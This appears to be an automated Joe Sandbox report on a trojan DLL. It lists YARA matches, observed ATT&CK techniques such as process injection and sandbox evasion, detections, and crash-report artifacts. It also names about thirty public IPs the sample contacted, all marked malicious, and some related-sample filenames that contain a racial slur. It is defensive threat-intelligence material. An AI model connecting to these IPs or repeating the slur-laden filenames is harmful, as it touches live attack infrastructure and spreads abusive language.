Source: Yara match	File source: 4.2.rundll32.exe.3070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.3070000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2cc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.800000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.3122140.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d93550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.31935d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.a90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.3122140.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.e947d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.4af0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.31935d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.e947d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e634f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d93550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e634f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1037130438.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1168490551.0000000002D7A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1063275616.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1035699542.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1035861580.0000000004AF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1033480524.000000000310A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.971608734.0000000002CD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1063104639.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1031543020.0000000002E63000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1035947080.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1035732972.0000000003193000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1033332210.0000000003070000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1167572272.0000000000A90000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1100911301.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1064906650.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1037359091.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1100727595.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1023539885.0000000002CC0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1065208047.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection12	Masquerading2	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Security Software Discovery41	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Virtualization/Sandbox Evasion1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion1	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mal.dll	24%	ReversingLabs	Win32.Trojan.Midie

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.loaddll32.exe.cf0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
4.2.rundll32.exe.3070000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.cf0000.3.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.cf0000.6.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
3.2.rundll32.exe.2cc0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
2.2.rundll32.exe.800000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
8.2.rundll32.exe.a90000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.2.loaddll32.exe.cf0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
5.2.rundll32.exe.4af0000.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.cf0000.9.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.13.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.154.133.20	unknown	France	12876	OnlineSASFR	true
212.237.17.99	unknown	Italy	31034	ARUBA-ASNIT	true
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
104.245.52.73	unknown	United States	63251	METRO-WIRELESSUS	true
138.185.72.26	unknown	Brazil	264343	EmpasoftLtdaMeBR	true
81.0.236.90	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
45.118.115.99	unknown	Indonesia	131717	IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
216.158.226.206	unknown	United States	19318	IS-AS-1US	true
107.182.225.142	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
45.118.135.203	unknown	Japan	63949	LINODE-APLinodeLLCUS	true
50.116.54.215	unknown	United States	63949	LINODE-APLinodeLLCUS	true
51.68.175.8	unknown	France	16276	OVHFR	true
103.8.26.102	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
46.55.222.11	unknown	Bulgaria	34841	BALCHIKNETBG	true
41.76.108.46	unknown	South Africa	327979	DIAMATRIXZA	true
103.8.26.103	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
178.79.147.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
212.237.5.209	unknown	Italy	31034	ARUBA-ASNIT	true
176.104.106.96	unknown	Serbia	198371	NINETRS	true
207.38.84.195	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
212.237.56.116	unknown	Italy	31034	ARUBA-ASNIT	true
45.142.114.231	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	true
203.114.109.124	unknown	Thailand	131293	TOT-LLI-AS-APTOTPublicCompanyLimitedTH	true
210.57.217.132	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
58.227.42.236	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.184.25.237	unknown	Turkey	209711	MUVHOSTTR	true
158.69.222.101	unknown	Canada	16276	OVHFR	true
104.251.214.46	unknown	United States	54540	INCERO-HVVCUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532106
Start date:	01.12.2021
Start time:	18:21:41
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mal.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.evad.winDLL@34/14@0/29
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 18.7% (good quality ratio 17.9%) Quality average: 71.6% Quality standard deviation: 24.8%
HCA Information:	Successful, ratio: 80% Number of executed functions: 39 Number of non-executed functions: 82
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 52.182.143.212 Excluded domains from analysis (whitelisted): onedsblobprdcus15.centralus.cloudapp.azure.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, watson.telemetry.microsoft.com, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/532106/sample/mal.dll

Simulations

Behavior and APIs

Time	Type	Description
18:25:59	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
195.154.133.20	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse
	TEm3oBxeXS.dll	Get hash	malicious	Browse
	ma9Kq24IDH.dll	Get hash	malicious	Browse
212.237.17.99	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse
	TEm3oBxeXS.dll	Get hash	malicious	Browse
	ma9Kq24IDH.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ARUBA-ASNIT	GYRxsMXKtvwSwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	KsXtuXmxoZvgudVwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	xTpcaEZvwmHqwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	mal2.dll	Get hash	malicious	Browse	212.237.56.116
	GYRxsMXKtvwSwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	KsXtuXmxoZvgudVwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	xTpcaEZvwmHqwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	invoice template 33142738819.docx	Get hash	malicious	Browse	94.177.217.88
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	212.237.56.116
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	QUOTATION FORM.exe	Get hash	malicious	Browse	62.149.128.45
	MA4UA3e5xe	Get hash	malicious	Browse	46.37.10.252
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	212.237.56.116
	seL794VuEm	Get hash	malicious	Browse	31.14.139.79
	b6GJG5t0kg	Get hash	malicious	Browse	31.14.139.51
OnlineSASFR	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	AtlanticareINV25-67431254.htm	Get hash	malicious	Browse	51.15.17.195
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	195.154.133.20
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	67MPsax8fd.exe	Get hash	malicious	Browse	163.172.208.8
	Linux_x86	Get hash	malicious	Browse	212.83.174.79
	184285013-044310-Factura pendiente (2).exe	Get hash	malicious	Browse	212.83.130.20
	MTjXit7IJn	Get hash	malicious	Browse	51.158.219.54
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse	195.154.133.20
	gvtdsqavfej.dll	Get hash	malicious	Browse	195.154.146.35
	mhOX6jll6x.dll	Get hash	malicious	Browse	195.154.146.35
	dguQYT8p8j.dll	Get hash	malicious	Browse	195.154.146.35
	jSxIzXfwc7.dll	Get hash	malicious	Browse	195.154.146.35

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_88e9c9cb640b4f665f2020b110738337d7578_d70d8aa6_142e078f\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6740916034847534
Encrypted:	false
SSDEEP:	96:BiarZqyfy9hkoyt7Jf0pXIQcQ5c6A2cE2cw33+a+z+HbHgOVG4rmMOyWZAXGng5p:1BAHnM28jjSq/u7sKS274ItW
MD5:	8B6CC0A8CD57C51E59BCC26286FE9080
SHA1:	C24D429F56E4F385E3069AC93DF2D778E2CE7DDF
SHA-256:	577C96830F420FD747CA70FDB590467989DDF046C194AF2E3C601061DF8DA0C5
SHA-512:	C84F43C71F18D660DA7903E3DF40A8A421A22156D658BF480B4D3CA54D1CEA6FED216E8737018F98236B5D760C805DDF1118555607EC9073CC28DBFAD6EAD8D4
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.5.3.1.3.8.0.2.7.7.6.0.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.8.e.3.9.8.9.7.-.4.3.8.0.-.4.b.3.9.-.9.7.b.c.-.f.a.8.0.f.7.6.7.e.d.e.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.0.6.9.5.f.7.c.-.e.b.d.0.-.4.d.a.6.-.b.3.5.7.-.6.4.6.2.3.8.d.5.8.e.f.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.e.0.-.0.0.0.1.-.0.0.1.b.-.a.3.4.7.-.7.a.0.9.d.8.e.6.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.0.9././.2.8.:.1.1.:.5.3.:.0.5.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_d71d33d652a62c864cb684e881f783bcee8c2df7_d70d8aa6_0766c198\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6775010169886009
Encrypted:	false
SSDEEP:	96:5jF3RarZqycy9hk1Dg3fWpXIQcQic6fcEKcw3KW+a+z+HbHgOVG4rmMOyWZAXGn5:d1MB0H8bQ5jSq/u7slS274ItW
MD5:	7AFCD1BD51040404605337C60BD472E9
SHA1:	03CA0F35512AF716A95BFB16660A2C6B4AB89D6C
SHA-256:	990AF6D85CF4CBCB31B1D8D5627CFBED274DF42808493348062AC58DFBF4C9EE
SHA-512:	CAD0A0A3F537F7D1D9D1162C95081D7161344B43355DD3A7B2B312899C860D04A1D2660F1B4F9D820D2FDFCCC3E63A5E85A2A4C9BABCD795C19C636432B30777
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.5.3.1.4.6.5.0.9.4.1.8.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.2.8.5.3.1.5.7.7.5.9.3.6.8.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.c.5.2.d.4.b.a.-.8.4.2.5.-.4.3.4.d.-.b.9.5.9.-.0.e.7.8.5.8.2.f.7.8.8.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.7.4.f.0.7.6.c.-.6.a.a.7.-.4.a.8.5.-.b.4.5.d.-.4.0.8.a.0.b.3.b.1.8.8.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.e.0.-.0.0.0.1.-.0.0.1.b.-.a.3.4.7.-.7.a.0.9.d.8.e.6.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1952.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 1 17:25:47 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	1058996
Entropy (8bit):	1.3712773239769518
Encrypted:	false
SSDEEP:	1536:bxYD5OU5ERxUg6yTR+RDOYIawA30cvhDhjUlzxAINxmsRKNBnMGCaOsU:rRx7/R+MdawA30cvhDiNxm3vnfCaZU
MD5:	7A4E56B2558285ADD418A7A78AE6013F
SHA1:	BEA34760885B4B6F6E72E5DF7203C47F4B79425C
SHA-256:	58034C4613B0834F9A3C455D338201F3878DF04327E67AC512A325461A431A92
SHA-512:	4DFEEE02F3DC33302089C8BB232C598C51AAB90B800B11054EE168FCE673EEEA01D1415D39CBD32BFB8B76DB4CFA99DFD4E8FFF4EB7EE5D75A9401DE0A33BD73
Malicious:	false
Preview:	MDMP....... ..........a............4...............H.......$...........................`.......8...........T...........@...t............................................................................................U...........B......p.......GenuineIntelW...........T...........]..a;............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2151.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8302
Entropy (8bit):	3.6954095323269565
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi8X6OI6Yr3SUXy6gmfL8GSq+pD0/x89bULsfDcm:RrlsNiM656YLSUXy6gmfLrSxUQf9
MD5:	E3A11A63623CFEBFB66EB6BE4286B4AD
SHA1:	F7F64CC325FD71646673B03D6ED7D060CF455B6B
SHA-256:	32C311DBE17A4F7FD7E964151DA66BBBD707A42310650C91C3A653E147FFAFCF
SHA-512:	01A461E419779C1384874EDF910B36050564CB793712A86C597F255F57AA27D80D26C3FFEC957F6CEAF357A21277E2B7C7775F03ECB0298994926820FDDB35D5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.8.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2338.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	49514
Entropy (8bit):	3.046922393170869
Encrypted:	false
